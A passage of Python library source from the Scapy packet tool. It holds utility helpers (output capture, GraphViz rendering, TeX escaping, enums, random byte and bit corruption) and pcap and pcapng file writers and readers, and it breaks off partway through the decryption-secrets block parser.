exception\n\n\nclass ContextManagerCaptureOutput(object):\n    \"\"\"\n    Context manager that intercept the console's output.\n\n    Example:\n    >>> with ContextManagerCaptureOutput() as cmco:\n    ...     print(\"hey\")\n    ...     assert cmco.get_output() == \"hey\"\n    \"\"\"\n\n    def __init__(self):\n        # type: () -> None\n        self.result_export_object = \"\"\n\n    def __enter__(self):\n        # type: () -> ContextManagerCaptureOutput\n        from unittest import mock\n\n        def write(s, decorator=self):\n            # type: (str, ContextManagerCaptureOutput) -> None\n            decorator.result_export_object += s\n        mock_stdout = mock.Mock()\n        mock_stdout.write = write\n        self.bck_stdout = sys.stdout\n        sys.stdout = mock_stdout\n        return self\n\n    def __exit__(self, *exc):\n        # type: (*Any) -> Literal[False]\n        sys.stdout = self.bck_stdout\n        return False\n\n    def get_output(self, eval_bytes=False):\n        # type: (bool) -> str\n        if self.result_export_object.startswith(\"b'\") and eval_bytes:\n            return plain_str(eval(self.result_export_object))\n        return self.result_export_object\n\n\ndef do_graph(\n    graph,  # type: str\n    prog=None,  # type: Optional[str]\n    format=None,  # type: Optional[str]\n    target=None,  # type: Optional[Union[IO[bytes], str]]\n    type=None,  # type: Optional[str]\n    string=None,  # type: Optional[bool]\n    options=None  # type: Optional[List[str]]\n):\n    # type: (...) -> Optional[str]\n    \"\"\"Processes graph description using an external software.\n    This method is used to convert a graphviz format to an image.\n\n    :param graph: GraphViz graph description\n    :param prog: which graphviz program to use\n    :param format: output type (svg, ps, gif, jpg, etc.), passed to dot's \"-T\"\n        option\n    :param string: if not None, simply return the graph string\n    :param target: filename or redirect. Defaults pipe to Imagemagick's\n        display program\n    :param options: options to be passed to prog\n    \"\"\"\n\n    if format is None:\n        format = \"svg\"\n    if string:\n        return graph\n    if type is not None:\n        warnings.warn(\n            \"type is deprecated, and was renamed format\",\n            DeprecationWarning\n        )\n        format = type\n    if prog is None:\n        prog = conf.prog.dot\n    start_viewer = False\n    if target is None:\n        if WINDOWS:\n            target = get_temp_file(autoext=\".\" + format)\n            start_viewer = True\n        else:\n            with ContextManagerSubprocess(conf.prog.display):\n                target = subprocess.Popen([conf.prog.display],\n                                          stdin=subprocess.PIPE).stdin\n    if format is not None:\n        format = \"-T%s\" % format\n    if isinstance(target, str):\n        if target.startswith('|'):\n            target = subprocess.Popen(target[1:].lstrip(), shell=True,\n                                      stdin=subprocess.PIPE).stdin\n        elif target.startswith('>'):\n            target = open(target[1:].lstrip(), \"wb\")\n        else:\n            target = open(os.path.abspath(target), \"wb\")\n    target = cast(IO[bytes], target)\n    proc = subprocess.Popen(\n        \"\\\"%s\\\" %s %s\" % (prog, options or \"\", format or \"\"),\n        shell=True, stdin=subprocess.PIPE, stdout=target,\n        stderr=subprocess.PIPE\n    )\n    _, stderr = proc.communicate(bytes_encode(graph))\n    if proc.returncode != 0:\n        raise OSError(\n            \"GraphViz call failed (is it installed?):\\n\" +\n            plain_str(stderr)\n        )\n    try:\n        target.close()\n    except Exception:\n        pass\n    if start_viewer:\n        # Workaround for file not found error: We wait until tempfile is written.  # noqa: E501\n        waiting_start = time.time()\n        while not os.path.exists(target.name):\n            time.sleep(0.1)\n            if time.time() - waiting_start > 3:\n                warning(\"Temporary file '%s' could not be written. Graphic will not be displayed.\", tempfile)  # noqa: E501\n                break\n        else:\n            if WINDOWS and conf.prog.display == conf.prog._default:\n                os.startfile(target.name)\n            else:\n                with ContextManagerSubprocess(conf.prog.display):\n                    subprocess.Popen([conf.prog.display, target.name])\n    return None\n\n\n_TEX_TR = {\n    \"{\": \"{\\\\tt\\\\char123}\",\n    \"}\": \"{\\\\tt\\\\char125}\",\n    \"\\\\\": \"{\\\\tt\\\\char92}\",\n    \"^\": \"\\\\^{}\",\n    \"$\": \"\\\\$\",\n    \"#\": \"\\\\#\",\n    \"_\": \"\\\\_\",\n    \"&\": \"\\\\&\",\n    \"%\": \"\\\\%\",\n    \"|\": \"{\\\\tt\\\\char124}\",\n    \"~\": \"{\\\\tt\\\\char126}\",\n    \"<\": \"{\\\\tt\\\\char60}\",\n    \">\": \"{\\\\tt\\\\char62}\",\n}\n\n\ndef tex_escape(x):\n    # type: (str) -> str\n    s = \"\"\n    for c in x:\n        s += _TEX_TR.get(c, c)\n    return s\n\n\ndef colgen(*lstcol,  # type: Any\n           **kargs  # type: Any\n           ):\n    # type: (...) -> Iterator[Any]\n    \"\"\"Returns a generator that mixes provided quantities forever\n    trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default\"\"\"  # noqa: E501\n    if len(lstcol) < 2:\n        lstcol *= 2\n    trans = kargs.get(\"trans\", lambda x, y, z: (x, y, z))\n    while True:\n        for i in range(len(lstcol)):\n            for j in range(len(lstcol)):\n                for k in range(len(lstcol)):\n                    if i != j or j != k or k != i:\n                        yield trans(lstcol[(i + j) % len(lstcol)], lstcol[(j + k) % len(lstcol)], lstcol[(k + i) % len(lstcol)])  # noqa: E501\n\n\ndef incremental_label(label=\"tag%05i\", start=0):\n    # type: (str, int) -> Iterator[str]\n    while True:\n        yield label % start\n        start += 1\n\n\ndef binrepr(val):\n    # type: (int) -> str\n    return bin(val)[2:]\n\n\ndef long_converter(s):\n    # type: (str) -> int\n    return int(s.replace('\\n', '').replace(' ', ''), 16)\n\n#########################\n#    Enum management    #\n#########################\n\n\nclass EnumElement:\n    def __init__(self, key, value):\n        # type: (str, int) -> None\n        self._key = key\n        self._value = value\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s %s[%r]>\" % (self.__dict__.get(\"_name\", self.__class__.__name__), self._key, self._value)  # noqa: E501\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        return getattr(self._value, attr)\n\n    def __str__(self):\n        # type: () -> str\n        return self._key\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return bytes_encode(self.__str__())\n\n    def __hash__(self):\n        # type: () -> int\n        return self._value\n\n    def __int__(self):\n        # type: () -> int\n        return int(self._value)\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return self._value == int(other)\n\n    def __neq__(self, other):\n        # type: (Any) -> bool\n        return not self.__eq__(other)\n\n\nclass Enum_metaclass(type):\n    element_class = EnumElement\n\n    def __new__(cls, name, bases, dct):\n        # type: (Any, str, Any, Dict[str, Any]) -> Any\n        rdict = {}\n        for k, v in dct.items():\n            if isinstance(v, int):\n                v = cls.element_class(k, v)\n                dct[k] = v\n                rdict[v] = k\n        dct[\"__rdict__\"] = rdict\n        return super(Enum_metaclass, cls).__new__(cls, name, bases, dct)\n\n    def __getitem__(self, attr):\n        # type: (int) -> Any\n        return self.__rdict__[attr]  # type: ignore\n\n    def __contains__(self, val):\n        # type: (int) -> bool\n        return val in self.__rdict__  # type: ignore\n\n    def get(self, attr, val=None):\n        # type: (str, Optional[Any]) -> Any\n        return self.__rdict__.get(attr, val)  # type: ignore\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s>\" % self.__dict__.get(\"name\", self.__name__)\n\n\n##################\n#  Corrupt data  #\n##################\n\n@conf.commands.register\ndef corrupt_bytes(data, p=0.01, n=None):\n    # type: (str, float, Optional[int]) -> bytes\n    \"\"\"\n    Corrupt a given percentage (at least one byte) or number of bytes\n    from a string\n    \"\"\"\n    s = array.array(\"B\", bytes_encode(data))\n    s_len = len(s)\n    if n is None:\n        n = max(1, int(s_len * p))\n    for i in random.sample(range(s_len), n):\n        s[i] = (s[i] + random.randint(1, 255)) % 256\n    return s.tobytes()\n\n\n@conf.commands.register\ndef corrupt_bits(data, p=0.01, n=None):\n    # type: (str, float, Optional[int]) -> bytes\n    \"\"\"\n    Flip a given percentage (at least one bit) or number of bits\n    from a string\n    \"\"\"\n    s = array.array(\"B\", bytes_encode(data))\n    s_len = len(s) * 8\n    if n is None:\n        n = max(1, int(s_len * p))\n    for i in random.sample(range(s_len), n):\n        s[i // 8] ^= 1 << (i % 8)\n    return s.tobytes()\n\n\n#############################\n#  pcap capture file stuff  #\n#############################\n\n@conf.commands.register\ndef wrpcap(filename,  # type: Union[IO[bytes], str]\n           pkt,  # type: _PacketIterable\n           *args,  # type: Any\n           **kargs  # type: Any\n           ):\n    # type: (...) -> None\n    \"\"\"Write a list of packets to a pcap file\n\n    :param filename: the name of the file to write packets to, or an open,\n        writable file-like object. The file descriptor will be\n        closed at the end of the call, so do not use an object you\n        do not want to close (e.g., running wrpcap(sys.stdout, [])\n        in interactive mode will crash Scapy).\n    :param gz: set to 1 to save a gzipped capture\n    :param linktype: force linktype value\n    :param endianness: \"<\" or \">\", force endianness\n    :param sync: do not bufferize writes to the capture file\n    \"\"\"\n    with PcapWriter(filename, *args, **kargs) as fdesc:\n        fdesc.write(pkt)\n\n\n@conf.commands.register\ndef wrpcapng(filename,  # type: str\n             pkt,  # type: _PacketIterable\n             ):\n    # type: (...) -> None\n    \"\"\"Write a list of packets to a pcapng file\n\n    :param filename: the name of the file to write packets to, or an open,\n        writable file-like object. The file descriptor will be\n        closed at the end of the call, so do not use an object you\n        do not want to close (e.g., running wrpcapng(sys.stdout, [])\n        in interactive mode will crash Scapy).\n    :param pkt: packets to write\n    \"\"\"\n    with PcapNgWriter(filename) as fdesc:\n        fdesc.write(pkt)\n\n\n@conf.commands.register\ndef rdpcap(filename, count=-1):\n    # type: (Union[IO[bytes], str], int) -> PacketList\n    \"\"\"Read a pcap or pcapng file and return a packet list\n\n    :param count: read only <count> packets\n    \"\"\"\n    # Rant: Our complicated use of metaclasses and especially the\n    # __call__ function is, of course, not supported by MyPy.\n    # One day we should simplify this mess and use a much simpler\n    # layout that will actually be supported and properly dissected.\n    with PcapReader(filename) as fdesc:  # type: ignore\n        return fdesc.read_all(count=count)\n\n\n# NOTE: Type hinting\n# Mypy doesn't understand the following metaclass, and thinks each\n# constructor (PcapReader...) needs 3 arguments each. To avoid this,\n# we add a fake (=None) to the last 2 arguments then force the value\n# to not be None in the signature and pack the whole thing in an ignore.\n# This allows to not have # type: ignore every time we call those\n# constructors.\n\nclass PcapReader_metaclass(type):\n    \"\"\"Metaclass for (Raw)Pcap(Ng)Readers\"\"\"\n\n    def __new__(cls, name, bases, dct):\n        # type: (Any, str, Any, Dict[str, Any]) -> Any\n        \"\"\"The `alternative` class attribute is declared in the PcapNg\n        variant, and set here to the Pcap variant.\n\n        \"\"\"\n        newcls = super(PcapReader_metaclass, cls).__new__(\n            cls, name, bases, dct\n        )\n        if 'alternative' in dct:\n            dct['alternative'].alternative = newcls\n        return newcls\n\n    def __call__(cls, filename):\n        # type: (Union[IO[bytes], str]) -> Any\n        \"\"\"Creates a cls instance, use the `alternative` if that\n        fails.\n\n        \"\"\"\n        i = cls.__new__(\n            cls,\n            cls.__name__,\n            cls.__bases__,\n            cls.__dict__  # type: ignore\n        )\n        filename, fdesc, magic = cls.open(filename)\n        if not magic:\n            raise Scapy_Exception(\n                \"No data could be read!\"\n            )\n        try:\n            i.__init__(filename, fdesc, magic)\n            return i\n        except (Scapy_Exception, EOFError):\n            pass\n\n        if \"alternative\" in cls.__dict__:\n            cls = cls.__dict__[\"alternative\"]\n            i = cls.__new__(\n                cls,\n                cls.__name__,\n                cls.__bases__,\n                cls.__dict__  # type: ignore\n            )\n            try:\n                i.__init__(filename, fdesc, magic)\n                return i\n            except (Scapy_Exception, EOFError):\n                pass\n\n        raise Scapy_Exception(\"Not a supported capture file\")\n\n    @staticmethod\n    def open(fname  # type: Union[IO[bytes], str]\n             ):\n        # type: (...) -> Tuple[str, _ByteStream, bytes]\n        \"\"\"Open (if necessary) filename, and read the magic.\"\"\"\n        if isinstance(fname, str):\n            filename = fname\n            fdesc = open(filename, \"rb\")  # type: _ByteStream\n            magic = fdesc.read(2)\n            if magic == b\"\\x1f\\x8b\":\n                # GZIP header detected.\n                fdesc.seek(0)\n                fdesc = gzip.GzipFile(fileobj=fdesc)\n                magic = fdesc.read(2)\n            magic += fdesc.read(2)\n        else:\n            fdesc = fname\n            filename = getattr(fdesc, \"name\", \"No name\")\n            magic = fdesc.read(4)\n        return filename, fdesc, magic\n\n\nclass RawPcapReader(metaclass=PcapReader_metaclass):\n    \"\"\"A stateful pcap reader. Each packet is returned as a string\"\"\"\n\n    # TODO: use Generics to properly type the various readers.\n    # As of right now, RawPcapReader is typed as if it returned packets\n    # because all of its child do. Fix that\n\n    nonblocking_socket = True\n    PacketMetadata = collections.namedtuple(\"PacketMetadata\",\n                                            [\"sec\", \"usec\", \"wirelen\", \"caplen\"])  # noqa: E501\n\n    def __init__(self, filename, fdesc=None, magic=None):  # type: ignore\n        # type: (str, _ByteStream, bytes) -> None\n        self.filename = filename\n        self.f = fdesc\n        if magic == b\"\\xa1\\xb2\\xc3\\xd4\":  # big endian\n            self.endian = \">\"\n            self.nano = False\n        elif magic == b\"\\xd4\\xc3\\xb2\\xa1\":  # little endian\n            self.endian = \"<\"\n            self.nano = False\n        elif magic == b\"\\xa1\\xb2\\x3c\\x4d\":  # big endian, nanosecond-precision\n            self.endian = \">\"\n            self.nano = True\n        elif magic == b\"\\x4d\\x3c\\xb2\\xa1\":  # little endian, nanosecond-precision  # noqa: E501\n            self.endian = \"<\"\n            self.nano = True\n        else:\n            raise Scapy_Exception(\n                \"Not a pcap capture file (bad magic: %r)\" % magic\n            )\n        hdr = self.f.read(20)\n        if len(hdr) < 20:\n            raise Scapy_Exception(\"Invalid pcap file (too short)\")\n        vermaj, vermin, tz, sig, snaplen, linktype = struct.unpack(\n            self.endian + \"HHIIII\", hdr\n        )\n        self.linktype = linktype\n        self.snaplen = snaplen\n\n    def __enter__(self):\n        # type: () -> RawPcapReader\n        return self\n\n    def __iter__(self):\n        # type: () -> RawPcapReader\n        return self\n\n    def __next__(self):\n        # type: () -> Tuple[bytes, RawPcapReader.PacketMetadata]\n        \"\"\"\n        implement the iterator protocol on a set of packets in a pcap file\n        \"\"\"\n        try:\n            return self._read_packet()\n        except EOFError:\n            raise StopIteration\n\n    def _read_packet(self, size=MTU):\n        # type: (int) -> Tuple[bytes, RawPcapReader.PacketMetadata]\n        \"\"\"return a single packet read from the file as a tuple containing\n        (pkt_data, pkt_metadata)\n\n        raise EOFError when no more packets are available\n        \"\"\"\n        hdr = self.f.read(16)\n        if len(hdr) < 16:\n            raise EOFError\n        sec, usec, caplen, wirelen = struct.unpack(self.endian + \"IIII\", hdr)\n\n        try:\n            data = self.f.read(caplen)[:size]\n        except OverflowError as e:\n            warning(f\"Pcap: {e}\")\n            raise EOFError\n\n        return (data,\n                RawPcapReader.PacketMetadata(sec=sec, usec=usec,\n                                             wirelen=wirelen, caplen=caplen))\n\n    def read_packet(self, size=MTU):\n        # type: (int) -> Packet\n        raise Exception(\n            \"Cannot call read_packet() in RawPcapReader. Use \"\n            \"_read_packet()\"\n        )\n\n    def dispatch(self,\n                 callback  # type: Callable[[Tuple[bytes, RawPcapReader.PacketMetadata]], Any]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        \"\"\"call the specified callback routine for each packet read\n\n        This is just a convenience function for the main loop\n        that allows for easy launching of packet processing in a\n        thread.\n        \"\"\"\n        for p in self:\n            callback(p)\n\n    def _read_all(self, count=-1):\n        # type: (int) -> List[Packet]\n        \"\"\"return a list of all packets in the pcap file\n        \"\"\"\n        res = []  # type: List[Packet]\n        while count != 0:\n            count -= 1\n            try:\n                p = self.read_packet()  # type: Packet\n            except EOFError:\n                break\n            res.append(p)\n        return res\n\n    def recv(self, size=MTU):\n        # type: (int) -> bytes\n        \"\"\" Emulate a socket\n        \"\"\"\n        return self._read_packet(size=size)[0]\n\n    def fileno(self):\n        # type: () -> int\n        return -1 if WINDOWS else self.f.fileno()\n\n    def close(self):\n        # type: () -> None\n        if isinstance(self.f, gzip.GzipFile):\n            self.f.fileobj.close()  # type: ignore\n        self.f.close()\n\n    def __exit__(self, exc_type, exc_value, tracback):\n        # type: (Optional[Any], Optional[Any], Optional[Any]) -> None\n        self.close()\n\n    # emulate SuperSocket\n    @staticmethod\n    def select(sockets,  # type: List[SuperSocket]\n               remain=None,  # type: Optional[float]\n               ):\n        # type: (...) -> List[SuperSocket]\n        return sockets\n\n\nclass PcapReader(RawPcapReader):\n    def __init__(self, filename, fdesc=None, magic=None):  # type: ignore\n        # type: (str, IO[bytes], bytes) -> None\n        RawPcapReader.__init__(self, filename, fdesc, magic)\n        try:\n            self.LLcls = conf.l2types.num2layer[\n                self.linktype\n            ]  # type: Type[Packet]\n        except KeyError:\n            warning(\"PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets\" % (self.linktype, self.linktype))  # noqa: E501\n            if conf.raw_layer is None:\n                # conf.raw_layer is set on import\n                import scapy.packet  # noqa: F401\n            self.LLcls = conf.raw_layer\n\n    def __enter__(self):\n        # type: () -> PcapReader\n        return self\n\n    def read_packet(self, size=MTU, **kwargs):\n        # type: (int, **Any) -> Packet\n        rp = super(PcapReader, self)._read_packet(size=size)\n        if rp is None:\n            raise EOFError\n        s, pkt_info = rp\n\n        try:\n            p = self.LLcls(s, **kwargs)  # type: Packet\n        except KeyboardInterrupt:\n            raise\n        except Exception:\n            if conf.debug_dissector:\n                from scapy.sendrecv import debug\n                debug.crashed_on = (self.LLcls, s)\n                raise\n            if conf.raw_layer is None:\n                # conf.raw_layer is set on import\n                import scapy.packet  # noqa: F401\n            p = conf.raw_layer(s)\n        power = Decimal(10) ** Decimal(-9 if self.nano else -6)\n        p.time = EDecimal(pkt_info.sec + power * pkt_info.usec)\n        p.wirelen = pkt_info.wirelen\n        return p\n\n    def recv(self, size=MTU, **kwargs):  # type: ignore\n        # type: (int, **Any) -> Packet\n        return self.read_packet(size=size, **kwargs)\n\n    def __iter__(self):\n        # type: () -> PcapReader\n        return self\n\n    def __next__(self):  # type: ignore\n        # type: () -> Packet\n        try:\n            return self.read_packet()\n        except EOFError:\n            raise StopIteration\n\n    def read_all(self, count=-1):\n        # type: (int) -> PacketList\n        res = self._read_all(count)\n        from scapy import plist\n        return plist.PacketList(res, name=os.path.basename(self.filename))\n\n\nclass RawPcapNgReader(RawPcapReader):\n    \"\"\"A stateful pcapng reader. Each packet is returned as\n    bytes.\n\n    \"\"\"\n\n    alternative = RawPcapReader  # type: Type[Any]\n\n    PacketMetadata = collections.namedtuple(\"PacketMetadataNg\",  # type: ignore\n                                            [\"linktype\", \"tsresol\",\n                                             \"tshigh\", \"tslow\", \"wirelen\",\n                                             \"comments\", \"ifname\", \"direction\",\n                                             \"process_information\"])\n\n    def __init__(self, filename, fdesc=None, magic=None):  # type: ignore\n        # type: (str, IO[bytes], bytes) -> None\n        self.filename = filename\n        self.f = fdesc\n        # A list of (linktype, snaplen, tsresol); will be populated by IDBs.\n        self.interfaces = []  # type: List[Tuple[int, int, Dict[str, Any]]]\n        self.default_options = {\n            \"tsresol\": 1000000\n        }\n        self.blocktypes: Dict[\n            int,\n            Callable[\n                [bytes, int],\n                Optional[Tuple[bytes, RawPcapNgReader.PacketMetadata]]\n            ]] = {\n                1: self._read_block_idb,\n                2: self._read_block_pkt,\n                3: self._read_block_spb,\n                6: self._read_block_epb,\n                10: self._read_block_dsb,\n                0x80000001: self._read_block_pib,\n        }\n        self.endian = \"!\"  # Will be overwritten by first SHB\n        self.process_information = []  # type: List[Dict[str, Any]]\n\n        if magic != b\"\\x0a\\x0d\\x0d\\x0a\":  # PcapNg:\n            raise Scapy_Exception(\n                \"Not a pcapng capture file (bad magic: %r)\" % magic\n            )\n\n        try:\n            self._read_block_shb()\n        except EOFError:\n            raise Scapy_Exception(\n                \"The first SHB of the pcapng file is malformed !\"\n            )\n\n    def _read_block(self, size=MTU):\n        # type: (int) -> Optional[Tuple[bytes, RawPcapNgReader.PacketMetadata]]  # noqa: E501\n        try:\n            blocktype = struct.unpack(self.endian + \"I\", self.f.read(4))[0]\n        except struct.error:\n            raise EOFError\n        if blocktype == 0x0A0D0D0A:\n            # This function updates the endianness based on the block content.\n            self._read_block_shb()\n            return None\n        try:\n            blocklen = struct.unpack(self.endian + \"I\", self.f.read(4))[0]\n        except struct.error:\n            warning(\"PcapNg: Error reading blocklen before block body\")\n            raise EOFError\n        if blocklen < 12:\n            warning(\"PcapNg: Invalid block length !\")\n            raise EOFError\n\n        _block_body_length = blocklen - 12\n        block = self.f.read(_block_body_length)\n        if len(block) != _block_body_length:\n            raise Scapy_Exception(\"PcapNg: Invalid Block body length \"\n                                  \"(too short)\")\n        self._read_block_tail(blocklen)\n        if blocktype in self.blocktypes:\n            return self.blocktypes[blocktype](block, size)\n        return None\n\n    def _read_block_tail(self, blocklen):\n        # type: (int) -> None\n        if blocklen % 4:\n            pad = self.f.read(-blocklen % 4)\n            warning(\"PcapNg: bad blocklen %d (MUST be a multiple of 4. \"\n                    \"Ignored padding %r\" % (blocklen, pad))\n        try:\n            if blocklen != struct.unpack(self.endian + 'I',\n                                         self.f.read(4))[0]:\n                raise EOFError(\"PcapNg: Invalid pcapng block (bad blocklen)\")\n        except struct.error:\n            warning(\"PcapNg: Could not read blocklen after block body\")\n            raise EOFError\n\n    def _read_block_shb(self):\n        # type: () -> None\n        \"\"\"Section Header Block\"\"\"\n        _blocklen = self.f.read(4)\n        endian = self.f.read(4)\n        if endian == b\"\\x1a\\x2b\\x3c\\x4d\":\n            self.endian = \">\"\n        elif endian == b\"\\x4d\\x3c\\x2b\\x1a\":\n            self.endian = \"<\"\n        else:\n            warning(\"PcapNg: Bad magic in Section Header Block\"\n                    \" (not a pcapng file?)\")\n            raise EOFError\n\n        try:\n            blocklen = struct.unpack(self.endian + \"I\", _blocklen)[0]\n        except struct.error:\n            warning(\"PcapNg: Could not read blocklen\")\n            raise EOFError\n        if blocklen < 28:\n            warning(f\"PcapNg: Invalid Section Header Block length ({blocklen})!\")  # noqa: E501\n            raise EOFError\n\n        # Major version must be 1\n        _major = self.f.read(2)\n        try:\n            major = struct.unpack(self.endian + \"H\", _major)[0]\n        except struct.error:\n            warning(\"PcapNg: Could not read major value\")\n            raise EOFError\n        if major != 1:\n            warning(f\"PcapNg: SHB Major version {major} unsupported !\")\n            raise EOFError\n\n        # Skip minor version & section length\n        skipped = self.f.read(10)\n        if len(skipped) != 10:\n            warning(\"PcapNg: Could not read minor value & section length\")\n            raise EOFError\n\n        _options_len = blocklen - 28\n        options = self.f.read(_options_len)\n        if len(options) != _options_len:\n            raise Scapy_Exception(\"PcapNg: Invalid Section Header Block \"\n                                  \" options (too short)\")\n        self._read_block_tail(blocklen)\n        self._read_options(options)\n\n    def _read_packet(self, size=MTU):  # type: ignore\n        # type: (int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata]\n        \"\"\"Read blocks until it reaches either EOF or a packet, and\n        returns None or (packet, (linktype, sec, usec, wirelen)),\n        where packet is a string.\n\n        \"\"\"\n        while True:\n            res = self._read_block(size=size)\n            if res is not None:\n                return res\n\n    def _read_options(self, options):\n        # type: (bytes) -> Dict[int, Union[bytes, List[bytes]]]\n        opts = dict()  # type: Dict[int, Union[bytes, List[bytes]]]\n        while len(options) >= 4:\n            try:\n                code, length = struct.unpack(self.endian + \"HH\", options[:4])\n            except struct.error:\n                warning(\"PcapNg: options header is too small \"\n                        \"%d !\" % len(options))\n                raise EOFError\n            if code != 0 and 4 + length <= len(options):\n                # https://www.ietf.org/archive/id/draft-tuexen-opsawg-pcapng-05.html#name-options-format\n                if code in [1, 2988, 2989, 19372, 19373]:\n                    if code not in opts:\n                        opts[code] = []\n                    opts[code].append(options[4:4 + length])  # type: ignore\n                else:\n                    opts[code] = options[4:4 + length]\n            if code == 0:\n                if length != 0:\n                    warning(\"PcapNg: invalid option \"\n                            \"length %d for end-of-option\" % length)\n                break\n            if length % 4:\n                length += (4 - (length % 4))\n            options = options[4 + length:]\n        return opts\n\n    def _read_block_idb(self, block, _):\n        # type: (bytes, int) -> None\n        \"\"\"Interface Description Block\"\"\"\n        # 2 bytes LinkType + 2 bytes Reserved\n        # 4 bytes Snaplen\n        options_raw = self._read_options(block[8:])\n        options = self.default_options.copy()  # type: Dict[str, Any]\n        for c, v in options_raw.items():\n            if isinstance(v, list):\n                # Spec allows multiple occurrences (see\n                # https://www.ietf.org/archive/id/draft-tuexen-opsawg-pcapng-05.html#section-4.2-8.6)\n                # but does not define which to use. We take the first for\n                # backward compatibility.\n                v = v[0]\n            if c == 9:\n                length = len(v)\n                if length == 1:\n                    tsresol = orb(v)\n                    options[\"tsresol\"] = (2 if tsresol & 128 else 10) ** (\n                        tsresol & 127\n                    )\n                else:\n                    warning(\"PcapNg: invalid options \"\n                            \"length %d for IDB tsresol\" % length)\n            elif c == 2:\n                options[\"name\"] = v\n            elif c == 1:\n                options[\"comment\"] = v\n        try:\n            interface: Tuple[int, int, Dict[str, Any]] = struct.unpack(\n                self.endian + \"HxxI\",\n                block[:8]\n            ) + (options,)\n        except struct.error:\n            warning(\"PcapNg: IDB is too small %d/8 !\" % len(block))\n            raise EOFError\n        self.interfaces.append(interface)\n\n    def _check_interface_id(self, intid):\n        # type: (int) -> None\n        \"\"\"Check the interface id value and raise EOFError if invalid.\"\"\"\n        tmp_len = len(self.interfaces)\n        if intid >= tmp_len:\n            warning(\"PcapNg: invalid interface id %d/%d\" % (intid, tmp_len))\n            raise EOFError\n\n    def _read_block_epb(self, block, size):\n        # type: (bytes, int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata]\n        \"\"\"Enhanced Packet Block\"\"\"\n        try:\n            intid, tshigh, tslow, caplen, wirelen = struct.unpack(\n                self.endian + \"5I\",\n                block[:20],\n            )\n        except struct.error:\n            warning(\"PcapNg: EPB is too small %d/20 !\" % len(block))\n            raise EOFError\n\n        # Compute the options offset taking padding into account\n        if caplen % 4:\n            opt_offset = 20 + caplen + (-caplen) % 4\n        else:\n            opt_offset = 20 + caplen\n\n        # Parse options\n        options = self._read_options(block[opt_offset:])\n\n        process_information = {}\n        for code, value in options.items():\n            # PCAPNG_EPB_PIB_INDEX, PCAPNG_EPB_E_PIB_INDEX\n            if code in [0x8001, 0x8003]:\n                try:\n                    proc_index = struct.unpack(\n                        self.endian + \"I\", value)[0]  # type: ignore\n                except struct.error:\n                    warning(\"PcapNg: EPB invalid proc index \"\n                            \"(expected 4 bytes, got %d) !\" % len(value))\n                    raise EOFError\n                if proc_index < len(self.process_information):\n                    key = \"proc\" if code == 0x8001 else \"eproc\"\n                    process_information[key] = self.process_information[proc_index]\n                else:\n                    warning(\"PcapNg: EPB invalid process information index \"\n                            \"(%d/%d) !\" % (proc_index, len(self.process_information)))\n\n        comments = options.get(1, None)\n        epb_flags_raw = options.get(2, None)\n        if epb_flags_raw and isinstance(epb_flags_raw, bytes):\n            try:\n                epb_flags, = struct.unpack(self.endian + \"I\", epb_flags_raw)\n            except struct.error:\n                warning(\"PcapNg: EPB invalid flags size\"\n                        \"(expected 4 bytes, got %d) !\" % len(epb_flags_raw))\n                raise EOFError\n            direction = epb_flags & 3\n\n        else:\n            direction = None\n\n        self._check_interface_id(intid)\n        ifname = self.interfaces[intid][2].get('name', None)\n\n        return (block[20:20 + caplen][:size],\n                RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0],  # noqa: E501\n                                               tsresol=self.interfaces[intid][2]['tsresol'],  # noqa: E501\n                                               tshigh=tshigh,\n                                               tslow=tslow,\n                                               wirelen=wirelen,\n                                               ifname=ifname,\n                                               direction=direction,\n                                               process_information=process_information,\n                                               comments=comments))\n\n    def _read_block_spb(self, block, size):\n        # type: (bytes, int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata]\n        \"\"\"Simple Packet Block\"\"\"\n        # \"it MUST be assumed that all the Simple Packet Blocks have\n        # been captured on the interface previously specified in the\n        # first Interface Description Block.\"\n        intid = 0\n        self._check_interface_id(intid)\n\n        try:\n            wirelen, = struct.unpack(self.endian + \"I\", block[:4])\n        except struct.error:\n            warning(\"PcapNg: SPB is too small %d/4 !\" % len(block))\n            raise EOFError\n\n        caplen = min(wirelen, self.interfaces[intid][1])\n        return (block[4:4 + caplen][:size],\n                RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0],  # noqa: E501\n                                               tsresol=self.interfaces[intid][2]['tsresol'],  # noqa: E501\n                                               tshigh=None,\n                                               tslow=None,\n                                               wirelen=wirelen,\n                                               ifname=None,\n                                               direction=None,\n                                               process_information={},\n                                               comments=None))\n\n    def _read_block_pkt(self, block, size):\n        # type: (bytes, int) -> Tuple[bytes, RawPcapNgReader.PacketMetadata]\n        \"\"\"(Obsolete) Packet Block\"\"\"\n        try:\n            intid, drops, tshigh, tslow, caplen, wirelen = struct.unpack(\n                self.endian + \"HH4I\",\n                block[:20],\n            )\n        except struct.error:\n            warning(\"PcapNg: PKT is too small %d/20 !\" % len(block))\n            raise EOFError\n\n        self._check_interface_id(intid)\n        return (block[20:20 + caplen][:size],\n                RawPcapNgReader.PacketMetadata(linktype=self.interfaces[intid][0],  # noqa: E501\n                                               tsresol=self.interfaces[intid][2]['tsresol'],  # noqa: E501\n                                               tshigh=tshigh,\n                                               tslow=tslow,\n                                               wirelen=wirelen,\n                                               ifname=None,\n                                               direction=None,\n                                               process_information={},\n                                               comments=None))\n\n    def _read_block_dsb(self, block, size):\n        # type: (bytes, int) -> None\n        \"\"\"Decryption Secrets Block\"\"\"\n\n        # Parse the secrets type and length fields\n        try:\n            secrets_type, secrets_length = struct.unpack(\n                self.endian + \"II\",\n                block[:8],\n            )\n            block = block[8:]\n        except struct.error:\n            warning(\"PcapNg: DSB is too small %d!\", len(block))\n            raise EOFError\n\n        # Compute the secrets length including the padding\n        padded_secrets_length = secrets_length + (-secrets_length) % 4\n        if len(block) < padded_secrets_length:\n            warning(\"PcapNg: invalid DSB secrets length!\")\n            raise EOFError\n\n        # Extract secrets data and options\n        secrets_data = block[:padded_secrets_length][:secrets_length]\n        if block[padded_secrets_length:]:\n            